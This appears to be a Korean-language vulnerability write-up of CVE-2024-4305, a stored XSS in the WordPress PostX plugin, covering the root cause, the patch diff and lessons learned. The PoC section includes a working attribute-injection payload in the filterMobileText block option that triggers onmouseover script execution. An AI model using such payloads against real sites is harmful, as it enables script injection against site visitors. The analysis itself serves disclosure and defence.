Post

[CVE-2024-4305] 취약점 분석 보고서

PostX Stored XSS 취약점

1. Description

페이지나 게시물에 블록이 삽입될 때, 해당 블록 옵션 중 일부를 출력하기 전에 검증과 이스케이프 처리를 하지 않아 Contributor 이상의 권한을 가진 사용자가 Stored XSS 공격을 수행할 수 있다.

또한, 검증과 이스케이프 처리가 누락된 블록 옵션은 JSON 데이터로 저장되고 HTML로 렌더링되는 과정에서 악의적인 스크립트가 실행될 수 있다.

  • CVSS: 5.9(Medium)
  • CWE: CWE-79(XSS)

2. Environment Setting

2.1 Affected Version

  • Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX < 4.1.0 - Contributor+

3. PoC

⚠️ Contributor 이상의 사용자만 게시물을 작성하고, 해당 게시물에 블록을 삽입하여 블록 옵션을 수정할 수 있기 때문에 Contributor 이상의 권한을 가진 계정으로 진행해야 한다.

편집기를 코드 편집기로 변경하고 블록 옵션(filterMobileText)에 악성 스크립트를 포함시켜 임시 저장한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
    "blockId": "d57ca5",
    "currentPostId": "2198",
    "filterShow": true,
    "paginationShow": true,
    "readMore": true,
    "contentTag": "section",
    "openInTab": true,
    "headingText": "123",
    "headingURL": "123",
    "headingTag": "h5",
    "titleTag": "h6",
    "metaMinText": "123",
    "metaAuthorPrefix": "123",
    "fallbackImg": {
        "url": "123",
        "id": 99999
    },
    "readMoreText": "123",
    "filterText": "ClickMe!",
    "filterMobileText": "\"onmouseover='alert(/XSS/)'\"",
    "loadMoreText": "123"
}

image.png

JSON 데이터를 통해 입력된 사용자 입력값이 DOM 요소에 동적으로 삽입되고 HTML 속성으로 렌더링 된다. 따라서, ClickMe! 텍스트 위로 커서가 이동되면 onmouseover 이벤트가 발생한다.

1
2
3
4
5
<ul class="ultp-flex-menu" data-name="" onmouseover="alert(/XSS/)">
    <li class="filter-item">
        <a class="filter-active" data-taxonomy="" href="#">ClickMe!</a>
    </li>
</ul>

image.png

4. Analysis

wp_kses 함수는 두 번째 인자로 $allowd_html를 사용해 허용할 태그와 속성을 정의한다.

1
wp_kses( string $content, array[]|string $allowed_html, string[] $allowed_protocols = array() ): string

PoC에서 공격 벡터로 사용되었던 filterMobileText에는 wp_kses 함수를 사용해서 xss 공격을 방지하고 있다.

1
2
3
4
// ultimate-post/blocks/template/filter.php

$attr["filterText"] = wp_kses($attr["filterText"], $allowed_html_tags);
$attr["filterMobileText"] = wp_kses($attr["filterMobileText"], $allowed_html_tags);

허용된 태그에서도 최소한의 속성만을 허용하고 있다는 것을 알 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// ultimate-post/classes/Functions.php
  
/**
 * Custom Text kses
 * @param $params
 * @return array|bool|mixed|string
 * @since v.4.0.2
*/
public function ultp_allowed_html_tags($extras=[]) {
    $allowed =  array(
        'a'          => array(
            'href'  => true,
            'title' => true,
        ),
        'abbr'       => array(
            'title' => true,
        ),
        'b'          => array(),
        'br'          => array(),
        'blockquote' => array(
            'cite' => true,
        ),
        'em'         => array(),
        'i'          => array(),
        'q'          => array(
            'cite' => true,
        ),
        'strong'     => array(),
    );

    return array_merge($allowed, $extras);
}

언뜻 보기에는 문제가 없지만 wp_kses 함수는 HTML 태그와 속성만 필터링하기 때문에 취약점이 발생한다. 코드 편집기 모드로 전환하면 JSON 형식으로 블록 데이터를 직접 편집할 수 있으므로 위의 검증과 이스케이프 과정을 모두 우회할 수 있다.

5. Patch Diff

4.1.0 버전에서는 esc_html 를 사용하여 모든 특수문자를 이스케이프 처리하였다.

1
2
3
4
// ultimate-post/blocks/template/filter.php

$attr["filterText"] = isset($attr['filterText']) && $attr['filterText'] ? wp_kses($attr["filterText"], $allowed_html_tags) : '';
$attr['filterMobileText'] = isset($attr['filterMobileText']) && $attr['filterMobileText'] ? esc_html($attr['filterMobileText']) : '';

6. Discussion

플러그인 코드에서는 wp_kses 함수로 필터링하고 있기 때문에, 겉보기에는 안전한 데이터 처리가 이루어진 것처럼 보인다. 그러나, 데이터가 JSON 입력에서 시작해 HTML로 렌더링되는 과정을 놓치면, 검증 및 이스케이프로 누락으로 인한 취약점을 간과할 수 있다.

UI 입력뿐만 아니라 코드 편집기 모드와 같은 사용자 입력 경로에 실제로 악성 데이터를 삽입하여 테스트 해보는 것이 중요할 듯 하다.

This post is licensed under CC BY 4.0 by the author.